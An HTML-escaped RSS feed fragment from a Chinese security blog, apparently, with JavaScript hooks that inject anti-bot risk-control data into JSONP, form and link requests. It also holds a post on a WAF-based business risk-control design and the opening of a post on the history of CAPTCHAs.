&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;isConfigUrl&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 1. 修改 URL 注入参数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;ele&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;src&lt;/span&gt; &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;amp;ua=&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; encodeURIComponent(&lt;span style="color:#a6e22e"&gt;ua&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 2. 劫持回调函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;oldCb&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; window[&lt;span style="color:#a6e22e"&gt;callbackName&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; window[&lt;span style="color:#a6e22e"&gt;callbackName&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;risk_user&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;block_list&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;push&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;jsonp&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ele&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;oldCbs&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;oldCb&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;showBlock&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;oldCb&lt;/span&gt;&lt;span style="color:#f92672"&gt;?&lt;/span&gt;.(&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 正常执行业务回调
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;oldFn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;apply&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;arguments&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 执行原生方法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Hook DOM 操作方法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;hook&lt;/span&gt;(document.&lt;span style="color:#a6e22e"&gt;head&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;appendChild&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;jsonpFactory&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;hook&lt;/span&gt;(document.&lt;span style="color:#a6e22e"&gt;head&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;insertBefore&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;jsonpFactory&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hook&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;key&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;factory&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;oldFn&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;key&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;key&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;factory&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;oldFn&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 工厂模式：包装原函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="hook-3-form-表单劫持"&gt;Hook #3: Form 表单劫持
&lt;/h2&gt;&lt;h3 id="原理-2"&gt;原理
&lt;/h3&gt;&lt;p&gt;表单提交是比较传统的API请求方式。可以通过监听 &lt;code&gt;submit&lt;/code&gt; 事件，在提交前动态注入隐藏字段。这样可以避免在用户浏览过程中导致form表单发生变化的情况。&lt;/p&gt;
&lt;h3 id="核心实现-2"&gt;核心实现
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hookForm&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;forms&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;forms&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;i&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;; &lt;span style="color:#a6e22e"&gt;i&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;forms&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt;; &lt;span style="color:#a6e22e"&gt;i&lt;/span&gt;&lt;span style="color:#f92672"&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;form&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;forms&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;i&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;isConfigUrl&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;parseURL&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;form&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;action&lt;/span&gt;))) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 监听 submit 事件（捕获阶段）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;form&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;addEventListener&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;submit&amp;#39;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;createElement&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;input&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;type&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;hidden&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ua&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ua&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 注入风控数据
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;form&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;appendChild&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }, &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="hook-4-link-导航劫持"&gt;Hook #4: Link 导航劫持
&lt;/h2&gt;&lt;h3 id="原理-3"&gt;原理
&lt;/h3&gt;&lt;p&gt;用户点击 &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; 标签时的页面跳转也需要拦截，因为有可能通过跳转GET的方式实现API请求。通过监听 document 的 click 事件可以实现劫持。&lt;/p&gt;
&lt;h3 id="核心实现-3"&gt;核心实现
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hookLink&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;eventHandler&lt;/span&gt;(document, &lt;span style="color:#e6db74"&gt;&amp;#39;click&amp;#39;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;e&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;e&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; window.&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;target&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;target&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;srcElement&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;tagName&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;A&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;isConfigUrl&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;search&lt;/span&gt; &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;search&lt;/span&gt; &lt;span style="color:#f92672"&gt;?&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;amp;ua=&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;?ua=&amp;#39;&lt;/span&gt;) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; encodeURIComponent(&lt;span style="color:#a6e22e"&gt;ua&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;src&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;combineUrl&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;break&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;target&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;parentNode&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }); 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;} 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>业务安全通用解决方案--WAF数据风控</title><link>/posts/waf-data-risk-control/</link><pubDate>Fri, 05 Aug 2016 18:52:00 +0800</pubDate><guid>/posts/waf-data-risk-control/</guid><description>&lt;p&gt;“你们安全不要阻碍业务发展”、“这个安全策略降低用户体验，影响转化率”－－这是甲方企业安全部门经常听到合作团队抱怨。但安全从业者加入公司的初衷绝对不是“阻碍业务发展”，那么安全解决方案能否成为“业务促进者”，而非“业务阻碍者”呢？答案是肯定。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;安全和业务接耦，对客户透明的安全产品，如防火墙、IDS、WAF等就很少遭受到类似的吐槽。
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;但回归到互联网业务安全场景，现在业务安全防控常见场景往往如下：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;场景一：
安全:&amp;#34;登陆流量报警了，有人在刷库&amp;#34;
业务:&amp;#34;我看下，这是个登录入口是给哪个业务开放的，已经很久没人维护过了&amp;#34;
BOSS:&amp;#34;有什么方法可以快速止血吗？&amp;#34;
安全、业务:&amp;#34;这个小入口之前都没有接入过风控系统，只能账号回捞事后处置了&amp;#34;
BOSS:。。。
场景二：
安全:&amp;#34;这个安全策略需要你们把用户登录的IP发给我。&amp;#34;
业务开发改造N天上线。
安全:“这里有一部分IP不对啊，是不是取的网关的内网IP。”
业务开发:。。。
场景三：
业务开发:&amp;#34;安全让我们纪录user-agent、浏览记录，现在业务的响应时间很多都消耗在打日志上了。做这些有业务价值吗？&amp;#34;
安全:。。。
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这些场景核心问题都在于业务安全解决方案通常嵌入业务逻辑中。那互联网业务安全有没有如同防火墙一样通用的解决方案呢？要解答这个问题我们先探究业务安全的“通用安全风险”。&lt;/p&gt;
&lt;h3 id="0x01-业务安全通用安全风险"&gt;0x01 业务安全通用安全风险
&lt;/h3&gt;&lt;p&gt;要找到业务安全的通用风险，首先得定义什么状态才算业务“安全”。当安全工程师被客户问到“这个产品是否安全？”，他往往会考虑各种安全细节问题，业务类的是否会被撞库、是否存在信息泄漏，系统类的是否有注入、水平权限控制等问题。但这些安全细节问题，往往并非问题“是否安全”的答案。&lt;/p&gt;
&lt;p&gt;客户所需要的“安全”是一个平衡。没有绝对安全的系统，再健壮的系统也有可能因为安全问题而遭受资损，同时为系统提高安全性也并非零成本。 **所以客户需要的“安全”是安全成本和安全资损的平衡。**为一个DMZ区的博客服务器专门配备一个安全工程师不是客户需要的“安全”。节约安全成本却导致大规模的撞库事件也不是客户希望的“安全”。&lt;/p&gt;
&lt;p&gt;回归到业务安全场景，会发现一个共同特征。只有达到&lt;strong&gt;一定规模&lt;/strong&gt;，&lt;strong&gt;批量利用&lt;/strong&gt;，&lt;strong&gt;业务安全漏洞&lt;/strong&gt;才会造成业务影响。一次Web攻击可能就写入webshell导致机器沦陷，但有限次的撞库、垃圾注册、垃圾消息、刷单造成的威胁是企业可以承受的。而攻击者要达到大规模，批量性的目的，都要通过机器来自动化实现。可以得出结论&amp;mdash;-&lt;strong&gt;大规模、批量性的机器风险是业务安全领域面临的通用风险&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="0x02-通用解决方案需求分析"&gt;0x02 通用解决方案需求分析
&lt;/h3&gt;&lt;p&gt;上节已经得出大规模、批量性的机器风险是业务安全领域面临的最大痛点，那么要实现通用的“解决机器风险方案”有哪些需求。针对机器风险业界防御手段已经很成熟－－针对人类知识（验证码）、针对人类固有特征（行为识别）、消耗机器成本（POW）等。但业界仍无整合这些防御手段提供通用普适的业务安全解决方案，问题主要有两点——无法做到业务透明和快速部署。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;业务透明&lt;/strong&gt;：现有的人机识别方案，客户需要前端、后端的改造进行接入，甚至于业务需要配合安全方案进行业务逻辑的调整。安全侵入业务主逻辑，有时候安全甚至成为业务的负担。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;快速部署&lt;/strong&gt;：机器风险防御手段过于复杂，无法快速部署，进而导致业务系统无法通过配置简单的实现全站部署防控。而业务系统往往有无数的小流量入口，这些未进行部署的入口往往成为漏洞。&lt;/p&gt;
&lt;h3 id="0x03-通用解决方案具体实现"&gt;0x03 通用解决方案具体实现
&lt;/h3&gt;&lt;p&gt;如何实现“业务透明”、“快速部署”的通用机器风险解决方案呢？核心是能够以中间人的方式介入浏览器和业务服务器之间，实现如下需求：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在页面注入相应的Javascript脚本；&lt;/li&gt;
&lt;li&gt;Javascript脚本采集数据并hook用户所有触发提交操作的事件，将数据在用户发起请求时注入请求中；&lt;/li&gt;
&lt;li&gt;能够代理转发浏览器与业务服务器的请求，并解析请求内容；&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;现在中间人攻击工具(MITMf)已经相当成熟，而逆向应用中间人攻击工具的思路似乎可以达成这些需求。在业务服务器与浏览器之间部署WAF服务，用户在浏览网站时由WAF注入前端需要数据采集的JS，同时JS在前端hook用户的请求事件,用户发起请求时将采集的风险识别数据注入，请求再次到达反向代理时，由反向代理提取相应风险识别数据提交风控大脑进行综合决策判断是阻断用户请求还是发起二次校验挑战。&lt;/p&gt;
&lt;p&gt;WAF数据风控服务在业务服务器与浏览器之间的交互流程如下图：&lt;br&gt;
&lt;img src="/posts/waf-data-risk-control/waf-interaction-flow.jpg"
	width="1620"
	height="1166"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="138"
		data-flex-basis="333px"
	
&gt;&lt;/p&gt;
&lt;p&gt;关键的业务风险防控采用三层漏斗模型进行层层过滤，达到透明阻断业务风险的目标。这三层漏斗模型分别是：阻断机器从而杜绝攻击者批量攻击的风险，异常流量分析识别部分漏网的机器行为及行为轨迹异常的不良用户，征信模型基于对于用户的信誉评分拒绝不良用户，最终达到将服务推送给目标用户的目的。&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/waf-data-risk-control/three-layer-funnel-model.jpg"
	width="952"
	height="658"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="144"
		data-flex-basis="347px"
	
&gt;&lt;/p&gt;
&lt;h5 id="阻断机器"&gt;阻断机器：
&lt;/h5&gt;&lt;ol&gt;
&lt;li&gt;针对人类固有特征进行机器识别，基于JS实现的&lt;a class="link" href="http://www.freebuf.com/articles/web/102269.html" target="_blank" rel="noopener"
 &gt;可信前端&lt;/a&gt;采集用户行为数据，通过线上实时模型来发现机器行为进行阻断；&lt;/li&gt;
&lt;li&gt;消耗机器攻击成本从而让攻击得不偿失，基于POW(proof of work)原理，通过服务端下发问题消耗前端的计算量。对于有足够空余CPU资源的普通用户少量的计算并不消耗成本，而攻击者需要达到批量攻击的效果则会占用极大的计算资源，让攻击得不偿失。&lt;/li&gt;
&lt;/ol&gt;
&lt;h5 id="流量分析"&gt;流量分析：
&lt;/h5&gt;&lt;p&gt;通过机器学习对网络流量中的异常流量进行识别，从而拦截一些行为轨迹异常的不良用户，常见思路如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;浏览轨迹,比如在互联网金融场景，正常用户会在注册后对比多款理财产品最后进行下单，而“羊毛党”往往在群里得到活动信息就会直奔活动页面薅羊毛；&lt;/li&gt;
&lt;li&gt;URL聚类，在网络购物场景，正常用户购买某款商品之前一般会在同类目商品中进行选择；&lt;/li&gt;
&lt;li&gt;浏览频率，在UGC网站上，用户浏览和评论的一般是有一定时间间隔，频繁秒回的用户极有可能是在发垃圾消息。&lt;/li&gt;
&lt;/ol&gt;
&lt;h5 id="征信模型"&gt;征信模型：
&lt;/h5&gt;&lt;p&gt;伴随互联网诞生有一句经典的论断&amp;quot;在互联网上，没人知道你是一条狗&amp;quot;。然而业务安全场景，识别用户身份、评估用户信誉是业务风控的重要依据。&lt;br&gt;
借鉴现实社会成熟的征信系统，且现在互联网已经是一个成熟的生态闭环。通过&lt;a class="link" href="http://www.freebuf.com/articles/database/102094.html" target="_blank" rel="noopener"
 &gt;设备指纹&lt;/a&gt;标示用户，基于用户在互联网的活动记录进行信誉评分，并辅以失信用户名单，从而对bypass前两层的高风险用户进行拦截。&lt;/p&gt;
&lt;h3 id="0x03-waf数据风控服务的价值"&gt;0x03 WAF数据风控服务的价值
&lt;/h3&gt;&lt;p&gt;回归到文章开始的问题，业务安全防控如何成为“业务促进者”，WAF数据风控服务能否达成这个目标？答案是肯定的。&lt;/p&gt;
&lt;p&gt;WAF数据风控服务有两大优势，而这两大优势在保障企业业务安全同时也达到了促进业务发展提速的目标。&lt;/p&gt;
&lt;p&gt;第一，业务透明，业务开发资源可以专注的投入在业务代码上，降低企业达成安全需求的成本。&lt;/p&gt;
&lt;p&gt;第二，快速部署，WAF数据风控服务可以快速进行全站部署，快速实现对网站业务风险的保障。如同安全带的发明保障驾驶员的安全性同时进而让汽车能够更安全的以更高的速度行驶，对全站进行业务风险防控后也可以让企业真正把业务推送给目标用户，从而让企业的业务发展提速。&lt;/p&gt;</description></item><item><title>验证码的前世今生</title><link>/posts/captcha-past-and-present/</link><pubDate>Wed, 20 Apr 2016 18:42:00 +0800</pubDate><guid>/posts/captcha-past-and-present/</guid><description>&lt;p&gt;&lt;img src="/posts/captcha-past-and-present/captcha-cover.png"
	width="2064"
	height="1236"
	loading="lazy"
	
		alt="14568449086720"
	
 
	
		class="gallery-image" 
		data-flex-grow="166"
		data-flex-basis="400px"
	
&gt;&lt;br&gt;
看完&lt;a class="link" href="https://mp.weixin.qq.com/s/lD6e3Pnm3wYaoQU7roTaFQ" target="_blank" rel="noopener"
 &gt;《验证码的前世今生（前世篇）》&lt;/a&gt;也许第一感觉就是Winter is coming，互联网的人机对抗到了最黑暗的时刻。柳暗花明又一村，最黑暗的时刻也是光明即将来临的时刻——在传统验证码的末日新的反向图灵测试机制浴火重生。&lt;/p&gt;
&lt;h3 id="0x1-验证码的划代标准"&gt;0x1 验证码的划代标准
&lt;/h3&gt;&lt;p&gt;在介绍新的反向图灵测试机制前，首先我们对验证码进行划代对比。通过验证码的划代对比我们能更清楚新型验证码的特性。&lt;/p&gt;
&lt;p&gt;验证码划代的标准是人机识别过程中基于对&lt;strong&gt;人类知识的应用&lt;/strong&gt;。&lt;/p&gt;
&lt;h4 id="第一代标准验证码"&gt;第一代：标准验证码
